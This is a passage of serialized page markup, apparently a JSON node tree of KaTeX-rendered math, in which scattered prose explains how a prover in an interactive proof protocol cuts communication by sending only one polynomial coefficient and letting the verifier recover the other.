"style":100370},[116928,116932],{"type":24,"tag":271,"props":116929,"children":116931},{"className":116930,"style":11772},[11771],[],{"type":24,"tag":271,"props":116933,"children":116935},{"className":116934},[11777,11778,11779,11780],[116936],{"type":24,"tag":271,"props":116937,"children":116939},{"className":116938},[11732,29273,11780],[116940],{"type":29,"value":11462},{"type":24,"tag":271,"props":116942,"children":116944},{"className":116943},[29430],[116945],{"type":29,"value":29433},{"type":24,"tag":271,"props":116947,"children":116949},{"className":116948},[11757],[116950],{"type":24,"tag":271,"props":116951,"children":116953},{"className":116952,"style":99920},[11762],[116954],{"type":24,"tag":271,"props":116955,"children":116956},{},[],{"type":24,"tag":271,"props":116958,"children":116960},{"className":116959},[29402],[116961],{"type":29,"value":606},{"type":24,"tag":271,"props":116963,"children":116965},{"className":116964,"style":101857},[11732,29273],[116966],{"type":29,"value":13850},{"type":24,"tag":271,"props":116968,"children":116970},{"className":116969},[29424],[116971],{"type":29,"value":2693},{"type":24,"tag":271,"props":116973,"children":116975},{"className":116974,"style":11908},[11810],[],{"type":24,"tag":271,"props":116977,"children":116979},{"className":116978},[11913],[116980],{"type":29,"value":762},{"type":24,"tag":271,"props":116982,"children":116984},{"className":116983,"style":11908},[11810],[],{"type":24,"tag":271,"props":116986,"children":116988},{"className":116987},[11721],[116989,116994,116999,117003,117008],{"type":24,"tag":271,"props":116990,"children":116993},{"className":116991,"style":116992},[11726],"height:0.6667em;vertical-align:-0.0833em;",[],{"type":24,"tag":271,"props":116995,"children":116997},{"className":116996},[11732,29273],[116998],{"type":29,"value":32},{"type":24,"tag":271,"props":117000,"children":117002},{"className":117001,"style":11811},[11810],[],{"type":24,"tag":271,"props":117004,"children":117006},{"className":117005},[11816],[117007],{"type":29,"value":1012},{"type":24,"tag":271,"props":117009,"children":117011},{"className":117010,"style":11811},[11810],[],{"type":24,"tag":271,"props":117013,"children":117015},{"className":117014},[11721],[117016,117020,117025],{"type":24,"tag":271,"props":117017,"children":117019},{"className":117018,"style":99752},[11726],[],{"type":24,"tag":271,"props":117021,"children":117023},{"className":117022},[11732,29273],[117024],{"type":29,"value":10954},{"type":24,"tag":271,"props":117026,"children":117028},{"className":117027,"style":101857},[11732,29273],[117029],{"type":29,"value":13850},{"type":29,"value":117031}," has only two coefficients. Since the verifier knows ",{"type":24,"tag":135,"props":117033,"children":117035},{"className":117034},[11705,11706],[117036],{"type":24,"tag":271,"props":117037,"children":117039},{"className":117038},[11711],[117040],{"type":24,"tag":271,"props":117041,"children":117043},{"className":117042,"ariaHidden":5670},[11716],[117044,117137,117230],{"type":24,"tag":271,"props":117045,"children":117047},{"className":117046},[11721],[117048,117052,117109,117114,117119,117124,117128,117133],{"type":24,"tag":271,"props":117049,"children":117051},{"className":117050,"style":11831},[11726],[],{"type":24,"tag":271,"props":117053,"children":117055},{"className":117054},[11732],[117056,117061],{"type":24,"tag":271,"props":117057,"children":117059},{"className":117058,"style":100323},[11732,29273],[117060],{"type":29,"value":116088},{"type":24,"tag":271,"props":117062,"children":117064},{"className":117063},[11747],[117065],{"type":24,"tag":271,"props":117066,"children":117068},{"className":117067},[11752,29327],[117069,117098],{"type":24,"tag":271,"props":117070,"children":117072},{"className":117071},[11757],[117073,117093],{"type":24,"tag":271,"props":117074,"children":117076},{"className":117075,"style":100366},[11762],[117077],{"type":24,"tag":271,"props":117078,"children":117079},{"style":100370},[117080,117084],{"type":24,"tag":271,"props":117081,"children":117083},{"className":117082,"style":11772},[11771],[],{"type":24,"tag":271,"props":117085,"children":117087},{"className":117086},[11777,11778,11779,11780],[117088],{"type":24,"tag":271,"props":117089,"children":117091},{"className":117090},[11732,29273,11780],[117092],{"type":29,"value":11462},{"type":24,"tag":271,"props":117094,"children":117096},{"className":117095},[29430],[117097],{"type":29,"value":29433},{"type":24,"tag":271,"props":117099,"children":117101},{"className":117100},[11757],[117102],{"type":24,"tag":271,"props":117103,"children":117105},{"className":117104,"style":99920},[11762],[117106],{"type":24,"tag":271,"props":117107,"children":117108},{},[],{"type":24,"tag":271,"props":117110,"children":117112},{"className":117111},[29402],[117113],{"type":29,"value":606},{"type":24,"tag":271,"props":117115,"children":117117},{"className":117116},[11732],[117118],{"type":29,"value":4121},{"type":24,"tag":271,"props":117120,"children":117122},{"className":117121},[29424],[117123],{"type":29,"value":2693},{"type":24,"tag":271,"props":117125,"children":117127},{"className":117126,"style":11811},[11810],[],{"type":24,"tag":271,"props":117129,"children":117131},{"className":117130},[11816],[117132],{"type":29,"value":1012},{"type":24,"tag":271,"props":117134,"children":117136},{"className":117135,"style":11811},[11810],[],{"type":24,"tag":271,"props":117138,"children":117140},{"className":117139},[11721],[117141,117145,117202,117207,117212,117217,117221,117226],{"type":24,"tag":271,"props":117142,"children":117144},{"className":117143,"style":11831},[11726],[],{"type":24,"tag":271,"props":117146,"children":117148},{"className":117147},[11732],[117149,117154],{"type":24,"tag":271,"props":117150,"children":117152},{"className":117151,"style":100323},[11732,29273],[117153],{"type":29,"value":116088},{"type":24,"tag":271,"props":117155,"children":117157},{"className":117156},[11747],[117158],{"type":24,"tag":271,"props":117159,"children":117161},{"className":117160},[11752,29327],[117162,117191],{"type":24,"tag":271,"props":117163,"children":117165},{"className":117164},[11757],[117166,117186],{"type":24,"tag":271,"props":117167,"children":117169},{"className":117168,"style":100366},[11762],[117170],{"type":24,"tag":271,"props":117171,"children":117172},{"style":100370},[117173,117177],{"type":24,"tag":271,"props":117174,"children":117176},{"className":117175,"style":11772},[11771],[],{"type":24,"tag":271,"props":117178,"children":117180},{"className":117179},[11777,11778,11779,11780],[117181],{"type":24,"tag":271,"props":117182,"children":117184},{"className":117183},[11732,29273,11780],[117185],{"type":29,"value":11462},{"type":24,"tag":271,"props":117187,"children":117189},{"className":117188},[29430],[117190],{"type":29,"value":29433},{"type":24,"tag":271,"props":117192,"children":117194},{"className":117193},[11757],[117195],{"type":24,"tag":271,"props":117196,"children":117198},{"className":117197,"style":99920},[11762],[117199],{"type":24,"tag":271,"props":117200,"children":117201},{},[],{"type":24,"tag":271,"props":117203,"children":117205},{"className":117204},[29402],[117206],{"type":29,"value":606},{"type":24,"tag":271,"props":117208,"children":117210},{"className":117209},[11732],[117211],{"type":29,"value":156},{"type":24,"tag":271,"props":117213,"children":117215},{"className":117214},[29424],[117216],{"type":29,"value":2693},{"type":24,"tag":271,"props":117218,"children":117220},{"className":117219,"style":11908},[11810],[],{"type":24,"tag":271,"props":117222,"children":117224},{"className":117223},[11913],[117225],{"type":29,"value":762},{"type":24,"tag":271,"props":117227,"children":117229},{"className":117228,"style":11908},[11810],[],{"type":24,"tag":271,"props":117231,"children":117233},{"className":117232},[11721],[117234,117239],{"type":24,"tag":271,"props":117235,"children":117238},{"className":117236,"style":117237},[11726],"height:0.8917em;vertical-align:-0.2083em;",[],{"type":24,"tag":271,"props":117240,"children":117242},{"className":117241},[11732],[117243,117248],{"type":24,"tag":271,"props":117244,"children":117246},{"className":117245,"style":100071},[11732,29273],[117247],{"type":29,"value":100074},{"type":24,"tag":271,"props":117249,"children":117251},{"className":117250},[11747],[117252],{"type":24,"tag":271,"props":117253,"children":117255},{"className":117254},[11752,29327],[117256,117300],{"type":24,"tag":271,"props":117257,"children":117259},{"className":117258},[11757],[117260,117295],{"type":24,"tag":271,"props":117261,"children":117263},{"className":117262,"style":100366},[11762],[117264],{"type":24,"tag":271,"props":117265,"children":117267},{"style":117266},"top:-2.55em;margin-left:-0.0813em;margin-right:0.05em;",[117268,117272],{"type":24,"tag":271,"props":117269,"children":117271},{"className":117270,"style":11772},[11771],[],{"type":24,"tag":271,"props":117273,"children":117275},{"className":117274},[11777,11778,11779,11780],[117276],{"type":24,"tag":271,"props":117277,"children":117279},{"className":117278},[11732,11780],[117280,117285,117290],{"type":24,"tag":271,"props":117281,"children":117283},{"className":117282},[11732,29273,11780],[117284],{"type":29,"value":11462},{"type":24,"tag":271,"props":117286,"children":117288},{"className":117287},[11816,11780],[117289],{"type":29,"value":11791},{"type":24,"tag":271,"props":117291,"children":117293},{"className":117292},[11732,11780],[117294],{"type":29,"value":156},{"type":24,"tag":271,"props":117296,"children":117298},{"className":117297},[29430],[117299],{"type":29,"value":29433},{"type":24,"tag":271,"props":117301,"children":117303},{"className":117302},[11757],[117304],{"type":24,"tag":271,"props":117305,"children":117308},{"className":117306,"style":117307},[11762],"height:0.2083em;",[117309],{"type":24,"tag":271,"props":117310,"children":117311},{},[],{"type":29,"value":117313}," (the previous claim), we have:",{"type":24,"tag":25,"props":117315,"children":117316},{},[117317],{"type":24,"tag":135,"props":117318,"children":117320},{"className":117319},[11705,11706],[117321],{"type":24,"tag":271,"props":117322,"children":117324},{"className":117323},[11711],[117325],{"type":24,"tag":271,"props":117326,"children":117328},{"className":117327,"ariaHidden":5670},[11716],[117329,117355,117386,117417,117518,117544,117636],{"type":24,"tag":271,"props":117330,"children":117332},{"className":117331},[11721],[117333,117337,117342,117346,117351],{"type":24,"tag":271,"props":117334,"children":117336},{"className":117335,"style":116992},[11726],[],{"type":24,"tag":271,"props":117338,"children":117340},{"className":117339},[11732,29273],[117341],{"type":29,"value":32},{"type":24,"tag":271,"props":117343,"children":117345},{"className":117344,"style":11811},[11810],[],{"type":24,"tag":271,"props":117347,"children":117349},{"className":117348},[11816],[117350],{"type":29,"value":1012},{"type":24,"tag":271,"props":117352,"children":117354},{"className":117353,"style":11811},[11810],[],{"type":24,"tag":271,"props":117356,"children":117358},{"className":117357},[11721],[117359,117363,117368,117373,117377,117382],{"type":24,"tag":271,"props":117360,"children":117362},{"className":117361,"style":11831},[11726],[],{"type":24,"tag":271,"props":117364,"children":117366},{"className":117365},[29402],[117367],{"type":29,"value":606},{"type":24,"tag":271,"props":117369,"children":117371},{"className":117370},[11732,29273],[117372],{"type":29,"value":32},{"type":24,"tag":271,"props":117374,"children":117376},{"className":117375,"style":11811},[11810],[],{"type":24,"tag":271,"props":117378,"children":117380},{"className":117379},[11816],[117381],{"type":29,"value":1012},{"type":24,"tag":271,"props":117383,"children":117385},{"className":117384,"style":11811},[11810],[],{"type":24,"tag":271,"props":117387,"children":117389},{"className":117388},[11721],[117390,117394,117399,117404,117408,117413],{"type":24,"tag":271,"props":117391,"children":117393},{"className":117392,"style":11831},[11726],[],{"type":24,"tag":271,"props":117395,"children":117397},{"className":117396},[11732,29273],[117398],{"type":29,"value":10954},{"type":24,"tag":271,"props":117400,"children":117402},{"className":117401},[29424],[117403],{"type":29,"value":2693},{"type":24,"tag":271,"props":117405,"children":117407},{"className":117406,"style":11908},[11810],[],{"type":24,"tag":271,"props":117409,"children":117411},{"className":117410},[11913],[117412],{"type":29,"value":762},{"type":24,"tag":271,"props":117414,"children":117416},{"className":117415,"style":11908},[11810],[],{"type":24,"tag":271,"props":117418,"children":117420},{"className":117419},[11721],[117421,117425,117496,117500,117504,117510,117514],{"type":24,"tag":271,"props":117422,"children":117424},{"className":117423,"style":117237},[11726],[],{"type":24,"tag":271,"props":117426,"children":117428},{"className":117427},[11732],[117429,117434],{"type":24,"tag":271,"props":117430,"children":117432},{"className":117431,"style":100071},[11732,29273],[117433],{"type":29,"value":100074},{"type":24,"tag":271,"props":117435,"children":117437},{"className":117436},[11747],[117438],{"type":24,"tag":271,"props":117439,"children":117441},{"className":117440},[11752,29327],[117442,117485],{"type":24,"tag":271,"props":117443,"children":117445},{"className":117444},[11757],[117446,117480],{"type":24,"tag":271,"props":117447,"children":117449},{"className":117448,"style":100366},[11762],[117450],{"type":24,"tag":271,"props":117451,"children":117452},{"style":117266},[117453,117457],{"type":24,"tag":271,"props":117454,"children":117456},{"className":117455,"style":11772},[11771],[],{"type":24,"tag":271,"props":117458,"children":117460},{"className":117459},[11777,11778,11779,11780],[117461],{"type":24,"tag":271,"props":117462,"children":117464},{"className":117463},[11732,11780],[117465,117470,117475],{"type":24,"tag":271,"props":117466,"children":117468},{"className":117467},[11732,29273,11780],[117469],{"type":29,"value":11462},{"type":24,"tag":271,"props":117471,"children":117473},{"className":117472},[11816,11780],[117474],{"type":29,"value":11791},{"type":24,"tag":271,"props":117476,"children":117478},{"className":117477},[11732,11780],[117479],{"type":29,"value":156},{"type":24,"tag":271,"props":117481,"children":117483},{"className":117482},[29430],[117484],{"type":29,"value":29433},{"type":24,"tag":271,"props":117486,"children":117488},{"className":117487},[11757],[117489],{"type":24,"tag":271,"props":117490,"children":117492},{"className":117491,"style":117307},[11762],[117493],{"type":24,"tag":271,"props":117494,"children":117495},{},[],{"type":24,"tag":271,"props":117497,"children":117499},{"className":117498,"style":11908},[11810],[],{"type":24,"tag":271,"props":117501,"children":117503},{"className":117502,"style":11908},[11810],[],{"type":24,"tag":271,"props":117505,"children":117507},{"className":117506},[11913],[117508],{"type":29,"value":117509},"⟹",{"type":24,"tag":271,"props":117511,"children":117513},{"className":117512,"style":11908},[11810],[],{"type":24,"tag":271,"props":117515,"children":117517},{"className":117516,"style":11908},[11810],[],{"type":24,"tag":271,"props":117519,"children":117521},{"className":117520},[11721],[117522,117526,117531,117535,117540],{"type":24,"tag":271,"props":117523,"children":117525},{"className":117524,"style":99752},[11726],[],{"type":24,"tag":271,"props":117527,"children":117529},{"className":117528},[11732,29273],[117530],{"type":29,"value":10954},{"type":24,"tag":271,"props":117532,"children":117534},{"className":117533,"style":11908},[11810],[],{"type":24,"tag":271,"props":117536,"children":117538},{"className":117537},[11913],[117539],{"type":29,"value":762},{"type":24,"tag":271,"props":117541,"children":117543},{"className":117542,"style":11908},[11810],[],{"type":24,"tag":271,"props":117545,"children":117547},{"className":117546},[11721],[117548,117552,117623,117627,117632],{"type":24,"tag":271,"props":117549,"children":117551},{"className":117550,"style":117237},[11726],[],{"type":24,"tag":271,"props":117553,"children":117555},{"className":117554},[11732],[117556,117561],{"type":24,"tag":271,"props":117557,"children":117559},{"className":117558,"style":100071},[11732,29273],[117560],{"type":29,"value":100074},{"type":24,"tag":271,"props":117562,"children":117564},{"className":117563},[11747],[117565],{"type":24,"tag":271,"props":117566,"children":117568},{"className":117567},[11752,29327],[117569,117612],{"type":24,"tag":271,"props":117570,"children":117572},{"className":117571},[11757],[117573,117607],{"type":24,"tag":271,"props":117574,"children":117576},{"className":117575,"style":100366},[11762],[117577],{"type":24,"tag":271,"props":117578,"children":117579},{"style":117266},[117580,117584],{"type":24,"tag":271,"props":117581,"children":117583},{"className":117582,"style":11772},[11771],[],{"type":24,"tag":271,"props":117585,"children":117587},{"className":117586},[11777,11778,11779,11780],[117588],{"type":24,"tag":271,"props":117589,"children":117591},{"className":117590},[11732,11780],[117592,117597,117602],{"type":24,"tag":271,"props":117593,"children":117595},{"className":117594},[11732,29273,11780],[117596],{"type":29,"value":11462},{"type":24,"tag":271,"props":117598,"children":117600},{"className":117599},[11816,11780],[117601],{"type":29,"value":11791},{"type":24,"tag":271,"props":117603,"children":117605},{"className":117604},[11732,11780],[117606],{"type":29,"value":156},{"type":24,"tag":271,"props":117608,"children":117610},{"className":117609},[29430],[117611],{"type":29,"value":29433},{"type":24,"tag":271,"props":117613,"children":117615},{"className":117614},[11757],[117616],{"type":24,"tag":271,"props":117617,"children":117619},{"className":117618,"style":117307},[11762],[117620],{"type":24,"tag":271,"props":117621,"children":117622},{},[],{"type":24,"tag":271,"props":117624,"children":117626},{"className":117625,"style":11811},[11810],[],{"type":24,"tag":271,"props":117628,"children":117630},{"className":117629},[11816],[117631],{"type":29,"value":11791},{"type":24,"tag":271,"props":117633,"children":117635},{"className":117634,"style":11811},[11810],[],{"type":24,"tag":271,"props":117637,"children":117639},{"className":117638},[11721],[117640,117644,117649],{"type":24,"tag":271,"props":117641,"children":117643},{"className":117642,"style":100868},[11726],[],{"type":24,"tag":271,"props":117645,"children":117647},{"className":117646},[11732],[117648],{"type":29,"value":165},{"type":24,"tag":271,"props":117650,"children":117652},{"className":117651},[11732,29273],[117653],{"type":29,"value":32},{"type":24,"tag":25,"props":117655,"children":117656},{},[117657,117659,117778,117780,117805],{"type":29,"value":117658},"So the prover only sends ",{"type":24,"tag":135,"props":117660,"children":117662},{"className":117661},[11705,11706],[117663],{"type":24,"tag":271,"props":117664,"children":117666},{"className":117665},[11711],[117667],{"type":24,"tag":271,"props":117668,"children":117670},{"className":117669,"ariaHidden":5670},[11716],[117671,117698],{"type":24,"tag":271,"props":117672,"children":117674},{"className":117673},[11721],[117675,117680,117685,117689,117694],{"type":24,"tag":271,"props":117676,"children":117679},{"className":117677,"style":117678},[11726],"height:0.4306em;",[],{"type":24,"tag":271,"props":117681,"children":117683},{"className":117682},[11732,29273],[117684],{"type":29,"value":32},{"type":24,"tag":271,"props":117686,"children":117688},{"className":117687,"style":11908},[11810],[],{"type":24,"tag":271,"props":117690,"children":117692},{"className":117691},[11913],[117693],{"type":29,"value":762},{"type":24,"tag":271,"props":117695,"children":117697},{"className":117696,"style":11908},[11810],[],{"type":24,"tag":271,"props":117699,"children":117701},{"className":117700},[11721],[117702,117706,117763,117768,117773],{"type":24,"tag":271,"props":117703,"children":117705},{"className":117704,"style":11831},[11726],[],{"type":24,"tag":271,"props":117707,"children":117709},{"className":117708},[11732],[117710,117715],{"type":24,"tag":271,"props":117711,"children":117713},{"className":117712,"style":100323},[11732,29273],[117714],{"type":29,"value":116088},{"type":24,"tag":271,"props":117716,"children":117718},{"className":117717},[11747],[117719],{"type":24,"tag":271,"props":117720,"children":117722},{"className":117721},[11752,29327],[117723,117752],{"type":24,"tag":271,"props":117724,"children":117726},{"className":117725},[11757],[117727,117747],{"type":24,"tag":271,"props":117728,"children":117730},{"className":117729,"style":100366},[11762],[117731],{"type":24,"tag":271,"props":117732,"children":117733},{"style":100370},[117734,117738],{"type":24,"tag":271,"props":117735,"children":117737},{"className":117736,"style":11772},[11771],[],{"type":24,"tag":271,"props":117739,"children":117741},{"className":117740},[11777,11778,11779,11780],[117742],{"type":24,"tag":271,"props":117743,"children":117745},{"className":117744},[11732,29273,11780],[117746],{"type":29,"value":11462},{"type":24,"tag":271,"props":117748,"children":117750},{"className":117749},[29430],[117751],{"type":29,"value":29433},{"type":24,"tag":271,"props":117753,"children":117755},{"className":117754},[11757],[117756],{"type":24,"tag":271,"props":117757,"children":117759},{"className":117758,"style":99920},[11762],[117760],{"type":24,"tag":271,"props":117761,"children":117762},{},[],{"type":24,"tag":271,"props":117764,"children":117766},{"className":117765},[29402],[117767],{"type":29,"value":606},{"type":24,"tag":271,"props":117769,"children":117771},{"className":117770},[11732],[117772],{"type":29,"value":4121},{"type":24,"tag":271,"props":117774,"children":117776},{"className":117775},[29424],[117777],{"type":29,"value":2693},{"type":29,"value":117779},", and the verifier recovers ",{"type":24,"tag":135,"props":117781,"children":117783},{"className":117782},[11705,11706],[117784],{"type":24,"tag":271,"props":117785,"children":117787},{"className":117786},[11711],[117788],{"type":24,"tag":271,"props":117789,"children":117791},{"className":117790,"ariaHidden":5670},[11716],[117792],{"type":24,"tag":271,"props":117793,"children":117795},{"className":117794},[11721],[117796,117800],{"type":24,"tag":271,"props":117797,"children":117799},{"className":117798,"style":99752},[11726],[],{"type":24,"tag":271,"props":117801,"children":117803},{"className":117802},[11732,29273],[117804],{"type":29,"value":10954},{"type":29,"value":117806},". This saves 50% on communication costs.",{"type":24,"tag":25,"props":117808,"children":117809},{},[117810],{"type":29,"value":117811},"The next claim in the chain is",{"type":24,"tag":25,"props":117813,"children":117814},{},[117815],{"type":24,"tag":135,"props":117816,"children":117818},{"className":117817},[11705,11706],[117819],{"type":24,"tag":271,"props":117820,"children":117822},{"className":117821},[11711],[117823],{"type":24,"tag":271,"props":117824,"children":117826},{"className":117825,"ariaHidden":5670},[11716],[117827,117906,118051,118077,118104,118182,118208,118305,118341,118419,118455,118543,118635],{"type":24,"tag":271,"props":117828,"children":117830},{"className":117829},[11721],[117831,117836,117893,117897,117902],{"type":24,"tag":271,"props":117832,"children":117835},{"className":117833,"style":117834},[11726],"height:0.8333em;vertical-align:-0.15em;",[],{"type":24,"tag":271,"props":117837,"children":117839},{"className":117838},[11732],[117840,117845],{"type":24,"tag":271,"props":117841,"children":117843},{"className":117842,"style":100071},[11732,29273],[117844],{"type":29,"value":100074},{"type":24,"tag":271,"props":117846,"children":117848},{"className":117847},[11747],[117849],{"type":24,"tag":271,"props":117850,"children":117852},{"className":117851},[11752,29327],[117853,117882],{"type":24,"tag":271,"props":117854,"children":117856},{"className":117855},[11757],[117857,117877],{"type":24,"tag":271,"props":117858,"children":117860},{"className":117859,"style":100366},[11762],[117861],{"type":24,"tag":271,"props":117862,"children":117863},{"style":117266},[117864,117868],{"type":24,"tag":271,"props":117865,"children":117867},{"className":117866,"style":11772},[11771],[],{"type":24,"tag":271,"props":117869,"children":117871},{"className":117870},[11777,11778,11779,11780],[117872],{"type":24,"tag":271,"props":117873,"children":117875},{"className":117874},[11732,29273,11780],[117876],{"type":29,"value":11462},{"type":24,"tag":271,"props":117878,"children":117880},{"className":117879},[29430],[117881],{"type":29,"value":29433},{"type":24,"tag":271,"props":117883,"children":117885},{"className":117884},[11757],[117886],{"type":24,"tag":271,"props":117887,"children":117889},{"className":117888,"style":99920},[11762],[117890],{"type":24,"tag":271,"props":117891,"children":117892},{},[],{"type":24,"tag":271,"props":117894,"children":117896},{"className":117895,"style":11908},[11810],[],{"type":24,"tag":271,"props":117898,"children":117900},{"className":117899},[11913],[117901],{"type":29,"value":762},{"type":24,"tag":271,"props":117903,"children":117905},{"className":117904,"style":11908},[11810],[],{"type":24,"tag":271,"props":117907,"children":117909},{"className":117908},[11721],[117910,117914,117971,117976,118033,118038,118042,118047],{"type":24,"tag":271,"props":117911,"children":117913},{"className":117912,"style":11831},[11726],[],{"type":24,"tag":271,"props":117915,"children":117917},{"className":117916},[11732],[117918,117923],{"type":24,"tag":271,"props":117919,"children":117921},{"className":117920,"style":100323},[11732,29273],[117922],{"type":29,"value":116088},{"type":24,"tag":271,"props":117924,"children":117926},{"className":117925},[11747],[117927],{"type":24,"tag":271,"props":117928,"children":117930},{"className":117929},[11752,29327],[117931,117960],{"type":24,"tag":271,"props":117932,"children":117934},{"className":117933},[11757],[117935,117955],{"type":24,"tag":271,"props":117936,"children":117938},{"className":117937,"style":100366},[11762],[117939],{"type":24,"tag":271,"props":117940,"children":117941},{"style":100370},[117942,117946],{"type":24,"tag":271,"props":117943,"children":117945},{"className":117944,"style":11772},[11771],[],{"type":24,"tag":271,"props":117947,"children":117949},{"className":117948},[11777,11778,11779,11780],[117950],{"type":24,"tag":271,"props":117951,"children":117953},{"className":117952},[11732,29273,11780],[117954],{"type":29,"value":11462},{"type":24,"tag":271,"props":117956,"children":117958},{"className":117957},[29430],[117959],{"type":29,"value":29433},{"type":24,"tag":271,"props":117961,"children":117963},{"className":117962},[11757],[117964],{"type":24,"tag":271,"props":117965,"children":117967},{"className":117966,"style":99920},[11762],[117968],{"type":24,"tag":271,"props":117969,"children":117970},{},[],{"type":24,"tag":271,"props":117972,"children":117974},{"className":117973},[29402],[117975],{"type":29,"value":606},{"type":24,"tag":271,"props":117977,"children":117979},{"className":117978},[11732],[117980,117985],{"type":24,"tag":271,"props":117981,"children":117983},{"className":117982,"style":99837},[11732,29273],[117984],{"type":29,"value":100656},{"type":24,"tag":271,"props":117986,"children":117988},{"className":117987},[11747],[117989],{"type":24,"tag":271,"props":117990,"children":117992},{"className":117991},[11752,29327],[117993,118022],{"type":24,"tag":271,"props":117994,"children":117996},{"className":117995},[11757],[117997,118017],{"type":24,"tag":271,"props":117998,"children":118000},{"className":117999,"style":100366},[11762],[118001],{"type":24,"tag":271,"props":118002,"children":118003},{"style":116836},[118004,118008],{"type":24,"tag":271,"props":118005,"children":118007},{"className":118006,"style":11772},[11771],[],{"type":24,"tag":271,"props":118009,"children":118011},{"className":118010},[11777,11778,11779,11780],[118012],{"type":24,"tag":271,"props":118013,"children":118015},{"className":118014},[11732,29273,11780],[118016],{"type":29,"value":11462},{"type":24,"tag":271,"props":118018,"children":118020},{"className":118019},[29430],[118021],{"type":29,"value":29433},{"type":24,"tag":271,"props":118023,"children":118025},{"className":118024},[11757],[118026],{"type":24,"tag":271,"props":118027,"children":118029},{"className":118028,"style":99920},[11762],[118030],{"type":24,"tag":271,"props":118031,"children":118032},{},[],{"type":24,"tag":271,"props":118034,"children":118036},{"className":118035},[29424],[118037],{"type":29,"value":2693},{"type":24,"tag":271,"props":118039,"children":118041},{"className":118040,"style":11908},[11810],[],{"type":24,"tag":271,"props":118043,"children":118045},{"className":118044},[11913],[118046],{"type":29,"value":762},{"type":24,"tag":271,"props":118048,"children":118050},{"className":118049,"style":11908},[11810],[],{"type":24,"tag":271,"props":118052,"children":118054},{"className":118053},[11721],[118055,118059,118064,118068,118073],{"type":24,"tag":271,"props":118056,"children":118058},{"className":118057,"style":116992},[11726],[],{"type":24,"tag":271,"props":118060,"children":118062},{"className":118061},[11732,29273],[118063],{"type":29,"value":32},{"type":24,"tag":271,"props":118065,"children":118067},{"className":118066,"style":11811},[11810],[],{"type":24,"tag":271,"props":118069,"children":118071},{"className":118070},[11816],[118072],{"type":29,"value":1012},{"type":24,"tag":271,"props":118074,"children":118076},{"className":118075,"style":11811},[11810],[],{"type":24,"tag":271,"props":118078,"children":118080},{"className":118079},[11721],[118081,118085,118090,118094,118100],{"type":24,"tag":271,"props":118082,"children":118084},{"className":118083,"style":99752},[11726],[],{"type":24,"tag":271,"props":118086,"children":118088},{"className":118087},[11732,29273],[118089],{"type":29,"value":10954},{"type":24,"tag":271,"props":118091,"children":118093},{"className":118092,"style":11811},[11810],[],{"type":24,"tag":271,"props":118095,"children":118097},{"className":118096},[11816],[118098],{"type":29,"value":118099},"⋅",{"type":24,"tag":271,"props":118101,"children":118103},{"className":118102,"style":11811},[11810],[],{"type":24,"tag":271,"props":118105,"children":118107},{"className":118106},[11721],[118108,118112,118169,118173,118178],{"type":24,"tag":271,"props":118109,"children":118111},{"className":118110,"style":116807},[11726],[],{"type":24,"tag":271,"props":118113,"children":118115},{"className":118114},[11732],[118116,118121],{"type":24,"tag":271,"props":118117,"children":118119},{"className":118118,"style":99837},[11732,29273],[118120],{"type":29,"value":100656},{"type":24,"tag":271,"props":118122,"children":118124},{"className":118123},[11747],[118125],{"type":24,"tag":271,"props":118126,"children":118128},{"className":118127},[11752,29327],[118129,118158],{"type":24,"tag":271,"props":118130,"children":118132},{"className":118131},[11757],[118133,118153],{"type":24,"tag":271,"props":118134,"children":118136},{"className":118135,"style":100366},[11762],[118137],{"type":24,"tag":271,"props":118138,"children":118139},{"style":116836},[118140,118144],{"type":24,"tag":271,"props":118141,"children":118143},{"className":118142,"style":11772},[11771],[],{"type":24,"tag":271,"props":118145,"children":118147},{"className":118146},[11777,11778,11779,11780],[118148],{"type":24,"tag":271,"props":118149,"children":118151},{"className":118150},[11732,29273,11780],[118152],{"type":29,"value":11462},{"type":24,"tag":271,"props":118154,"children":118156},{"className":118155},[29430],[118157],{"type":29,"value":29433},{"type":24,"tag":271,"props":118159,"children":118161},{"className":118160},[11757],[118162],{"type":24,"tag":271,"props":118163,"children":118165},{"className":118164,"style":99920},[11762],[118166],{"type":24,"tag":271,"props":118167,"children":118168},{},[],{"type":24,"tag":271,"props":118170,"children":118172},{"className":118171,"style":11908},[11810],[],{"type":24,"tag":271,"props":118174,"children":118176},{"className":118175},[11913],[118177],{"type":29,"value":762},{"type":24,"tag":271,"props":118179,"children":118181},{"className":118180,"style":11908},[11810],[],{"type":24,"tag":271,"props":118183,"children":118185},{"className":118184},[11721],[118186,118190,118195,118199,118204],{"type":24,"tag":271,"props":118187,"children":118189},{"className":118188,"style":116992},[11726],[],{"type":24,"tag":271,"props":118191,"children":118193},{"className":118192},[11732,29273],[118194],{"type":29,"value":32},{"type":24,"tag":271,"props":118196,"children":118198},{"className":118197,"style":11811},[11810],[],{"type":24,"tag":271,"props":118200,"children":118202},{"className":118201},[11816],[118203],{"type":29,"value":1012},{"type":24,"tag":271,"props":118205,"children":118207},{"className":118206,"style":11811},[11810],[],{"type":24,"tag":271,"props":118209,"children":118211},{"className":118210},[11721],[118212,118216,118221,118292,118296,118301],{"type":24,"tag":271,"props":118213,"children":118215},{"className":118214,"style":11831},[11726],[],{"type":24,"tag":271,"props":118217,"children":118219},{"className":118218},[29402],[118220],{"type":29,"value":606},{"type":24,"tag":271,"props":118222,"children":118224},{"className":118223},[11732],[118225,118230],{"type":24,"tag":271,"props":118226,"children":118228},{"className":118227,"style":100071},[11732,29273],[118229],{"type":29,"value":100074},{"type":24,"tag":271,"props":118231,"children":118233},{"className":118232},[11747],[118234],{"type":24,"tag":271,"props":118235,"children":118237},{"className":118236},[11752,29327],[118238,118281],{"type":24,"tag":271,"props":118239,"children":118241},{"className":118240},[11757],[118242,118276],{"type":24,"tag":271,"props":118243,"children":118245},{"className":118244,"style":100366},[11762],[118246],{"type":24,"tag":271,"props":118247,"children":118248},{"style":117266},[118249,118253],{"type":24,"tag":271,"props":118250,"children":118252},{"className":118251,"style":11772},[11771],[],{"type":24,"tag":271,"props":118254,"children":118256},{"className":118255},[11777,11778,11779,11780],[118257],{"type":24,"tag":271,"props":118258,"children":118260},{"className":118259},[11732,11780],[118261,118266,118271],{"type":24,"tag":271,"props":118262,"children":118264},{"className":118263},[11732,29273,11780],[118265],{"type":29,"value":11462},{"type":24,"tag":271,"props":118267,"children":118269},{"className":118268},[11816,11780],[118270],{"type":29,"value":11791},{"type":24,"tag":271,"props":118272,"children":118274},{"className":118273},[11732,11780],[118275],{"type":29,"value":156},{"type":24,"tag":271,"props":118277,"children":118279},{"className":118278},[29430],[118280],{"type":29,"value":29433},{"type":24,"tag":271,"props":118282,"children":118284},{"className":118283},[11757],[118285],{"type":24,"tag":271,"props":118286,"children":118288},{"className":118287,"style":117307},[11762],[118289],{"type":24,"